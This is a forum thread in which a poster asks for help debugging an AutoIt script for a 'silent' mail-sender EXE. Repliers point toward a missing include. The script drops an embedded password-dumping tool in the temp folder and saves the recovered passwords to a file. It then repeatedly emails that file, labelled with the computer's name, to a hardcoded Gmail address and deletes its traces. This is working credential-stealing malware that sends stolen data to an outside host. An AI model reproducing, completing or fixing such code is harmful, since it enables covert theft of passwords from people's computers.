Jump to content

Help for a Mail-Sender EXE


Recommended Posts

Sorry for my English but I'm Italian....copying from the script I found on this forum I tryed to make an EXE to silent sending a mail with an attaqchment: I've occured in an error....please help me

#NoTrayIcon

FileInstall ("mspass.exe",@TempDir &"\mspass.exe")

Sleep (1000)

Do
   ConsoleWrite ("enter do mspass" & @CRLF)
RunWait (@TempDir &"\mspass.exe /stext " & @TempDir  & "\pwd.txt")
Sleep (1000)
Until FileExists (@TempDir &"\pwd.txt")
ConsoleWrite ("exit do mspass" & @CRLF)
FileDelete (@TempDir  &"\mspass.exe")
Do
   ConsoleWrite ("enter do sendmail" & @CRLF)
$s_SmtpServer = "smtp.gmail.com"                         ; address for the smtp-server to use - REQUIRED
$s_FromName = "dunno"                                   ; name from who the email was sent
$s_FromAddress = @ComputerName &"@gmail.com"             ;  address from where the mail should come
$s_ToAddress = "fransroyal@gmail.com"                   ; destination address of the email - REQUIRED
$s_Subject = @ComputerName &" password"               ; subject from the email - can be anything you want it to be
$as_Body = "Password from... me!"                       ; the messagebody from the mail - can be left blank but then you get a blank mail
$s_AttachFiles = @TempDir & "\pwd.txt"                 ; the file you want to attach- leave blank if not needed
$s_CcAddress = ""                                       ; address for cc - leave blank if not needed
$s_BccAddress = ""                                     ; address for bcc - leave blank if not needed
$s_Username = "fransroyal@gmail.com"                     ; username for the account used from where the mail gets sent - REQUIRED
$s_Password = ""                               ; password for the account used from where the mail gets sent - REQUIRED
$IPPort = 25                                             ; port used for sending the mail
$ssl = 0                                                 ; enables/disables secure socket layer sending - put to 1 if using httpS
$IPPort=465                                           ; GMAIL port used for sending the mail
$ssl=1                                                 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
;
Until not @error
ConsoleWrite ("exit do sendmail" & @CRLF)
FileDelete ("pwd.txt")

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment ($S_Files2Attach[$x])
            Else
                $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $Ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    $objEmail.Configuration.Fields.Update
; Sent the Message
    $objEmail.Send
    if @error then
        SetError(2)
        return $oMyRet[1]
    EndIf
EndFunc;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description,3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc;==>MyErrFunc

Posted Image

Link to comment
Share on other sites

The error says it all. You are referencing a function you don't have in your file or #include statements.

Reading the help file before you post... Not only will it make you look smarter, it will make you smarter.

Link to comment
Share on other sites

So I probably have to add:

no, you don't.

a simple thank you would have sufficed.

#include <file.au3> ,isn't it?

uh...Look and Find Out.......................

Reading the help file before you post... Not only will it make you look smarter, it will make you smarter.

Link to comment
Share on other sites

  • 3 months later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...